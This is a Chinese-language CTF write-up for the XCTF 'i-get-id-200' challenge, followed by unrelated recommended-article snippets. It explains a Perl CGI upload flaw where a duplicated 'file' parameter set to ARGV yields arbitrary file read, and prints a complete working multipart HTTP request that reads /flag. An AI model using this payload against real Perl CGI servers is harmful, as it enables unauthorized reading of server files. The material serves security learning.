i-get-id-200

  • 题目描述

    嗯。。我刚建好了一个网站

  • 解题过程

    一共有三个页面

    • Hello World

      告诉了页面是perl写的

    • Forms

      输入name和age会返回渲染后的字符串

      搜了一下,perl不能ssti

    • File

      可以上传文件,上传成功后会打印文件内容

      感觉上传文件这里有漏洞,但是对perl环境很陌生,去看看相关的用法

    • 文件读取,并打印文件内容

      open(DATA, "<file.txt") or die "file.txt 文件无法打开, $!";
      # DATA 为文件句柄用于读取文件
      while(<DATA>){
      print "$_";
      }
    • 文件上传

       #!/usr/bin/perl
      use CGI;
      my $cgi = new CGI;
      my $dir = 'sub';
      my $file = $cgi->param('file');
      $file=~m/^.*(\\|\/)(.*)/;
      # strip the remote path and keep the filename
      my $name = $2;
      open(LOCAL, ">$dir/$name") or print 'error';
      while(<$file>) {
      print LOCAL $_;
      }
      print $cgi->header();
      print $dir/$name;
      print "$file has been successfully uploaded... thank you.\n";enter code here

      没什么思路,去看了wp,网上wp清一色猜测后端代码。。。

      找到了源码(节选)

      if ($cgi->upload('file')) {
      my $file = $cgi->param('file');
      while (<$file>) {
      print "$_";
      print "<br />";
      }
      }

      涉及几个知识点:

      • 这里需要用到ARGV,它是perl默认用来接收参数的数组,类似flask的request.argv
      • $cgi->param('file');会优先选取第一个file参数,类似于参数污染
      • 结合起来就会达到<$file> == ARGV[0]的效果,可以进行任意文件读取了
      POST /cgi-bin/file.pl?/flag HTTP/1.1
      Host: 220.249.52.133:57967
      Content-Length: 411
      Cache-Control: max-age=0
      Origin: http://220.249.52.133:57967
      Upgrade-Insecure-Requests: 1
      Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAcRiYZHdukQ6xuzQ
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Referer: http://220.249.52.133:57967/cgi-bin/file.pl?file=../file.pl
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
      Connection: close ------WebKitFormBoundaryAcRiYZHdukQ6xuzQ
      Content-Disposition: form-data; name="file"
      Content-Type: text/plain ARGV
      ------WebKitFormBoundaryAcRiYZHdukQ6xuzQ
      Content-Disposition: form-data; name="file"; filename="draft.txt"
      Content-Type: text/plain asdasd
      ------WebKitFormBoundaryAcRiYZHdukQ6xuzQ
      Content-Disposition: form-data; name="Submit!" Submit!
      ------WebKitFormBoundaryAcRiYZHdukQ6xuzQ--

      注意这里需要多加一组form数据来写ARGV

  • 参考

XCTF-i-get-id-200的更多相关文章

  1. [Android]Android端ORM框架——RapidORM(v2.0)

    以下内容为原创,欢迎转载,转载请注明 来自天天博客:http://www.cnblogs.com/tiantianbyconan/p/5626716.html [Android]Android端ORM ...

  2. SQL Server 深入解析索引存储(上)

    标签:SQL SERVER/MSSQL SERVER/数据库/DBA/索引体系结构/堆/聚集索引 概述 最近要分享一个课件就重新把这块知识整理了一遍出来,篇幅有点长,想要理解的透彻还是要上机实践. 聚 ...

  3. [开源ORM] SqliteSugar 3.x .net Core版本成功上线

    SqliteSqlSugar 3.X API 作为支持.NET CORE 为数不多的ORM之一,除了具有优越的性能外,还拥有强大的功能,不只是满足你的增,删,查和改.实质上拥有更多你想像不到的功能,当 ...

  4. 改善SQL语句(转)

    二.改善SQL语句          很多人不知道SQL语句在SQL SERVER中是如何执行的,他们担心自己所写的SQL语句会被SQL SERVER误解.比如:   select * from ta ...

  5. 转载:SqlServer数据库性能优化详解

    本文转载自:http://blog.csdn.net/andylaudotnet/article/details/1763573 性能调节的目的是通过将网络流通.磁盘 I/O 和 CPU 时间减到最小 ...

  6. mysql-批量修改表字段中的某一部分内容

    MySQL批量替换指定字段字符串语句(1)updat 表名 set 字段名=replac(字段名,'原来的内容','替换后的内容') 举一个例子,就是我实际操作的时候的命令: update cpg14 ...

  7. 记一次MYSQL更新优化

    引言 今天(August 5, 2015 5:34 PM)在给数据库中一张表的结构做一次调整,添加了几个字段,后面对之前的数据进行刷新,刷新的内容是:对其中的一个已有字段url进行匹配,然后更新新加的 ...

  8. A Quick Introduction to Linux Policy Routing

    A Quick Introduction to Linux Policy Routing 29 May 2013 In this post, I’m going to introduce you to ...

  9. 转载:postgresql分区与优化

    --对于分区表constraint_exclusion 这个参数需要配置为partition或on postgres=# show constraint_exclusion ; constraint_ ...

  10. 楼盘信息sq

    ID:1 楼盘名称:帝豪国际 网址:http://shangqiu.jiwu.com/loupan/239023.html 价格:2500元/平米 关注人数:497 地址:长寿大道南段 情况:在售 大 ...

随机推荐

  1. Java 树结构的基础部分(一)

    二叉树 1.1 为什么需要树这种数据结构 1) 数组存储方式的分析 优点:通过下标方式访问元素,速度快.对于有序数组,还可使用二分查找提高检索速度. 缺点:如果要检索具体某个值,或者插入值(按一定顺序 ...

  2. 助力面试之ConcurrentHashMap面试灵魂拷问,你能扛多久

    目录 前言 ConcurrentHashMap 原理 JDK1.8 版本 ConcurrentHashMap 做了什么改进 为什么 key 和 value 不允许为 null ConcurrentHa ...

  3. 解决VM 与 Device/Credential Guard 不兼容(全网有效解决思路)

    为什么要写这篇文章先说背景:前段时间因为学习Linux系统需要,自己本机用的是Windows系统,那这里就需要用到虚拟机来创建虚拟环境用来支持Linux系统 1: 于是乎,自己很激动的下载了vm虚拟机 ...

  4. springMVC @InitBinder注解

    springMVC @InitBinder注解.setFieldDefaultPrefix则可以在表单用如user.name进行传递属性

  5. Python字典与集合

    一 字典创建.访问.添加.删除.修改.内建函数.内建方法 创建,列表不能作为键,因为键不能变?字典也不能作为键 dict1 = {} dict2 = {'name':'qq','sex':'male' ...

  6. 深入理解Java并发框架AQS系列(一):线程

    深入理解Java并发框架AQS系列(一):线程 深入理解Java并发框架AQS系列(二):AQS框架简介及锁概念 一.概述 1.1.前言 重剑无锋,大巧不工 读j.u.c包下的源码,永远无法绕开的经典 ...

  7. 【Azure 云服务】在Cloud Service的代码中如何修改IIS Application Pool的配置呢? 比如IdleTimeout, startMode, Recycling.PeriodicRestart.Time等

    什么是 PaaS?Platform as a Service 平台即服务 (PaaS) 是云中的完整开发和部署环境,你可以使用其中资源交付内容,从基于云的简单应用到启用云的复杂企业应用程序皆可.你以即 ...

  8. Hi3516如何连接Wifi(二)

    目录: 一.总体思路 二.启动Daemon 三.作者文章合集 书承上回(Hi3516如何连接Wifi(一)),上一篇聊了一下怎样在Hi3516中用wpa_supplicant连接到Wifi热点,本文讲 ...

  9. Java自定义 sort 排序方法

    Sort用法 •结构 1 package Test; 2 3 import java.util.Arrays; 4 import java.util.Random; 5 import java.uti ...

  10. Java进阶专题(二十八) Service Mesh初体验

    前言 ​ ⽬前,微服务的架构⽅式在企业中得到了极⼤的发展,主要原因是其解决了传统的单体架构中存在的问题.当单体架构拆分成微服务架构就可以⾼枕⽆忧了吗? 显然不是的.微服务架构体系中同样也存在很多的挑战 ...